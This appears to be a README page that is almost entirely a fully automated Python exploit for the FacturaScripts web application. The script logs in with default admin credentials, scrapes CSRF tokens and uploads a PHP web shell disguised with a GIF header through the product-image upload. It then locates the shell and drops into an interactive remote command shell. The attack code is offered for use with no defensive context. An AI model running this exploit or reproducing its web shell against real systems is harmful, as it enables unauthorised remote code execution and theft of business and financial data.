README.md
Rendering markdown...
#!/usr/bin/env python3
"""
FacturaScripts RCE Exploit - Fully Automated
Author: Abdullah Alwasabei / Guzrex
Description: Automatically logs in, enumerates products, extracts tokens, and uploads shell
Usage: python3 exploit.py http://target.com -u admin -p admin
"""
import requests
import sys
import os
import re
import time
import argparse
from bs4 import BeautifulSoup
class FacturaScriptsExploit:
def __init__(self, base_url, username, password):
self.base_url = base_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.session.headers.update({'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'})
self.token = None
self.product_code = None
self.product_id = None
self.shell_url = None
self.year = time.strftime("%Y")
self.month = time.strftime("%m")
def login(self):
"""Automatically login and get session"""
print("[*] Attempting to login...")
try:
login_page = self.session.get(f"{self.base_url}/login")
soup = BeautifulSoup(login_page.text, 'html.parser')
token_input = soup.find('input', {'name': 'multireqtoken'})
if not token_input:
print("[-] Could not find login token")
return False
csrf_token = token_input.get('value')
login_data = {
'multireqtoken': csrf_token,
'action': 'login',
'fsNick': self.username,
'fsPassword': self.password
}
response = self.session.post(f"{self.base_url}/login", data=login_data)
if response.status_code == 200 and 'Dashboard' in response.text:
print("[+] Login successful!")
return True
else:
print("[-] Login failed - check credentials")
return False
except Exception as e:
print(f"[-] Login error: {e}")
return False
def enumerate_products(self):
print("[*] Enumerating products...")
try:
response = self.session.get(f"{self.base_url}/ListProducto")
soup = BeautifulSoup(response.text, 'html.parser')
product_links = []
for link in soup.find_all('a', href=True):
if 'EditProducto?code=' in link['href']:
code = link['href'].split('code=')[-1]
if code and code not in product_links:
product_links.append(code)
if product_links:
print(f"[+] Found {len(product_links)} products")
for i, code in enumerate(product_links[:5]):
print(f" {i+1}. {code}")
self.product_code = product_links[0]
print(f"[+] Using product: {self.product_code}")
return True
else:
self.product_code = "CONTA621"
return True
except Exception as e:
self.product_code = "CONTA621"
return True
def get_product_id(self):
print(f"[*] Getting product ID for {self.product_code}...")
try:
response = self.session.get(f"{self.base_url}/EditProducto?code={self.product_code}")
soup = BeautifulSoup(response.text, 'html.parser')
id_input = soup.find('input', {'name': 'idproducto'})
if id_input and id_input.get('value'):
self.product_id = id_input.get('value')
print(f"[+] Product ID: {self.product_id}")
return True
self.product_id = "3"
print(f"[+] Using default product ID: {self.product_id}")
return True
except Exception as e:
self.product_id = "3"
return True
def get_upload_token(self):
print("[*] Getting upload token...")
try:
response = self.session.get(f"{self.base_url}/EditProducto?code={self.product_code}")
token_pattern = r'<input[^>]*name="multireqtoken"[^>]*value="([^"]+)"'
token_match = re.search(token_pattern, response.text)
if token_match:
self.token = token_match.group(1)
print(f"[+] Got upload token")
return True
return False
except Exception as e:
return False
def create_shell(self, output_file):
shell_content = '''GIF89a
<?php
echo "SHELL_UPLOADED!";
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
'''
with open(output_file, 'w') as f:
f.write(shell_content)
return output_file
def upload_shell(self, shell_file):
print("[*] Uploading shell...")
upload_data = {
'multireqtoken': self.token,
'action': 'add-image',
'activetab': 'EditProductoImagen',
'idproducto': self.product_id,
'referencia': ''
}
files = {
'newfiles[]': (os.path.basename(shell_file), open(shell_file, 'rb'), 'application/x-php')
}
try:
response = self.session.post(
f"{self.base_url}/EditProducto?code={self.product_code}",
data=upload_data,
files=files
)
if "images added correctly" in response.text:
print("[+] Shell uploaded successfully!")
return True
return False
except Exception as e:
return False
def find_shell(self):
print("[*] Locating uploaded shell...")
for num in range(1, 10):
test_url = f"{self.base_url}/MyFiles/{self.year}/{self.month}/{num}.php"
try:
response = self.session.get(f"{test_url}?cmd=echo test")
if "SHELL_UPLOADED" in response.text:
self.shell_url = test_url
return test_url
except:
pass
self.shell_url = f"{self.base_url}/MyFiles/{self.year}/{self.month}/1.php"
return self.shell_url
def execute_command(self, command):
try:
response = self.session.get(f"{self.shell_url}?cmd={command}")
output = response.text
output = output.replace("GIF89a", "").replace("SHELL_UPLOADED!", "").strip()
return output
except Exception as e:
return str(e)
def interactive_shell(self):
print("\n==================================================")
print("INTERACTIVE SHELL READY")
print("Type 'exit' to quit\n")
while True:
try:
cmd = input("$ ").strip()
if cmd.lower() == 'exit':
break
if cmd:
print(self.execute_command(cmd))
except KeyboardInterrupt:
break
def run(self):
print("="*60)
print("FacturaScripts RCE Exploit - Fully Automated")
print("="*60)
if not self.login():
return
self.enumerate_products()
self.get_product_id()
if not self.get_upload_token():
return
shell_file = self.create_shell(f"shell_{int(time.time())}.php")
if not self.upload_shell(shell_file):
return
self.find_shell()
print(f"[+] Shell URL: {self.shell_url}")
result = self.execute_command("id")
print(f"[+] Command output: {result}")
self.interactive_shell()
def main():
parser = argparse.ArgumentParser(description='FacturaScripts RCE Exploit')
parser.add_argument('url', help='Target URL')
parser.add_argument('-u', '--username', default='admin', help='Username')
parser.add_argument('-p', '--password', default='admin', help='Password')
args = parser.parse_args()
exploit = FacturaScriptsExploit(args.url, args.username, args.password)
exploit.run()
if __name__ == "__main__":
main()